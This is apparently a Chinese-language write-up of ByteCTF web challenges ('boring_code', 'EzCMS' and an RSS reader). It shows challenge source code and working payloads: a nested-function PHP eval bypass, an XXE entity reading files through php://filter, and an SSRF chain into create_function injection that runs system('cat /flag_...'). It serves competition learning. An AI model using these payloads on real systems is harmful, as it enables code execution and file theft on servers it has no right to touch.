Web - boring_code
源代码提示,flag在index.php,源代码在/code/index.php
。
去访问/code/index.php
,看到源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; }
if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); }
|
可以post一个url参数,然后获取url内容进行eval代码执行。
这里url做了过滤,不允许data://
,而且parse_url的host要以baidu.com
结尾。
直接买个域名,ctfbaidu.com
,过了第一步。
这里code也做了过滤,只能调用函数名为小写a-z的函数,而且要嵌套调用,另外还过滤了一些关键词。
1
| /et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i
|
那么将php手册里的所有函数过滤一下,符合过滤规则的,只有100-200个函数可用。
找到一个compact
函数,可以将变量合并进数组。源代码里有个$r
,url可控,所以可以直接用它。
可控字符串放在url的参数位置,parse_url后,落入$r["query"]
。
1
| http://test.ctfbaidu.com/1.txt?../index.php
|
然后r
的ascii为114,chr(time())
里面time()%256==114
时,compact
可以读入$r
,然后end(end())
两次可以取出$r["query"]
的值,然后直接readfile
读到flag。过了第二步。
1
| readfile(end(end(compact(chr(time())))));
|
256秒
一轮回。
flag: bytectf{8866b40fea76845e5cbc84ad5ea9920e}
Web - EzCMS
这题刚开始环境配置有问题,能直接读flag了。
随便填用户名和密码,就能登录进去到上传界面。
下面的view detail
给了个链接:
1
| http://112.126.102.158:9999/view.php?filename=.htaccess&filepath=./sandbox/bdb9d44736878323443209e1df37b645/.htaccess
|
看到sandbox
直接访问列目录、列文件:
flag: bytectf{4338afbd-d09b-11e9-96cf-88e9fe533d19}
一个rss阅读器,能解析远程url的rss。
url只允许aliyun.com、baidu.com、qq.com
,直接用之前买的ctfbaidu.com
。
提供了一个example rss文件
,看到xml格式想到xxe。
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE title [ <!ENTITY result SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>1</title><link>1</link><description>&result;</description><atom:link href="#" rel="self"></atom:link><language>1</language><lastBuildDate>1</lastBuildDate><item><title>1</title><link>1</link><description>1</description><pubDate>1</pubDate><guid>1</guid></item></channel></rss>
|
xxe能读到文件。把源代码读出来审。
读到routes.php
关键代码:
1 2 3 4 5 6 7 8 9 10 11
| Route::set('rss_in_order',function(){ if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){ Admin::createView('Admin'); }else{ if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){ Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']); }else{ echo ";("; } } });
|
读到controllers/Admin.php
关键代码:
1 2 3 4 5 6 7 8 9
| <?php
class Admin extends Controller{ public static function sort($url,$order){ $rss=file_get_contents($url); $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT); require_once './views/Admin.php'; } }
|
读到views/Admin.php
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){ die(';('); } ?> <?php include('package/header.php') ?> <?php if(!$rss) { ?> <?php $data = []; foreach($rss->channel->item as $item){ $data[] = $item; } usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); foreach($data as $item){ ?>
<?php }?>
|
结合在一起,就是本地127.0.0.1发请求
可以访问到/rss_in_order
,然后usort
里的create_function
中带入可控参数$order
,实现任意命令执行。
能够getflag
的payload
:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE title [ <!ENTITY result SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/rss_in_order?order=title%2C0)%3B%7Dsystem('cat%20/flag_eb8ba2eb07702e69963a7d6ab8669134')%3B%2F*&rss_url=http://112.126.96.50:9999/file/example"> ]> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>1</title><link>1</link><description>&result;</description><atom:link href="#" rel="self"></atom:link><language>1</language><lastBuildDate>1</lastBuildDate><item><title>1</title><link>1</link><description>1</description><pubDate>1</pubDate><guid>1</guid></item></channel></rss>
|
flag: bytectf{61878fa75f293f179a895bf74e358a4f}